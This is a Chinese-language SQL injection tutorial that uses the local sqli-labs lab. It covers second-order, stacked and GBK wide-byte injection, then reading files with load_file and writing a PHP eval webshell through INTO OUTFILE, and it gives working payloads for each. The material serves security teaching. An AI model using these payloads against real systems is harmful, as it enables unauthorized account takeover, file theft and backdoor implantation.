SQL注入(二)
二次注入
二次注入是什么
二次注入是因为网站对于存储的数据没有严格的过滤,而且从数据库提取数据的时候也没有进行过滤验证。
二次注入的手法
当我们想对网站登录页面进行SQL注入的时候,发现防护到位,无法注入,此时我们可以试试二次注入。我们假设这个网站的数据库中有
一个用户名叫admin。此时我们可以尝试注册一个新用户admin’# 然后我们注册成功后,数据库中就会多一个admin’# 的用户,此时我
们去修改 admin’# 这个用户的密码。
当我们的admin’# 用户名放在语句中后,#注释掉后面的的内容,单引号和前面闭合,此时的用户名就是admin。也就是说我们使用注册
的用户名admin’# 修改了另一个用户名admin的密码。
这里以一段代码为例:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$new_pass'
堆叠注入
前提条件:一次HTTP 请求,可以同时执行多条SOL 语句,包括增删改查操作。
堆叠注入的攻击手法
这里我们使用SQL注入可以查看到,此时的id为2的用户密码为123456。此时我们使用堆叠注入修改密码。
输入命令:
?id=2';update users set password = '654321' --+
此时我们在查询之余还将用户的密码修改掉了。
宽字节注入
宽字节注入是什么
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义。有时候数据库会对用提交的
数据进行解析,在末尾增加一个转义符(反斜杠)“\” 来确保不会出现问题。
宽字节注入的攻击手法
**前提条件:**数据库的编码为GBK编码
正常显示
这里使用报错注入和联合查询,但是发现被转义了,末尾加上了反斜杠。
此时我们给这个-1后面加上%df就可以成功注入了。
语句解析:
这里如果看过源码就可以知道,这里的数据库编码为GBK编码。也就是说不管是什么字符,都会有对应的编码形式,\对应的编码格式为**%5c**,而繁体字“連”的GBK编码为**%df%5c** 也就是说我们在前面设置好**%df**,系统加上\后也就是相当于加上了**%5c** 这样就相当于把反斜转变为了汉字,从而绕过了转义。
读写文件
查看当前登录的用户名和主机名
这里目标是要访问到hosts文件的内容,以第一关为例子,看过上一篇的文章内容后,我们知道第一关数据库有三列,且第2,3列能回显
这里知道了,当前登录的用户为root,在Linux中管理员账户是localhost当前计算机主机名
查看当前用户是否有文件权限
输入命令:
?id=1' and 1=2 union select 1,file_priv from mysql.user where user='root' and host='localhost ,3' --+
Y这里代表yes的意思,表示拥有权限
读取文件
输入命令:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,load_file("c:\\windows\\system32\\drivers\\etc\\hosts") --+
读取成功
写入一句话木马
输入命令:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,"<?php @eval($_REQUEST[777])?>",3 into outfile "c:\\1.php" --+
@eval($_REQUEST[777])?>",3 into outfile "c:\\1.php" --+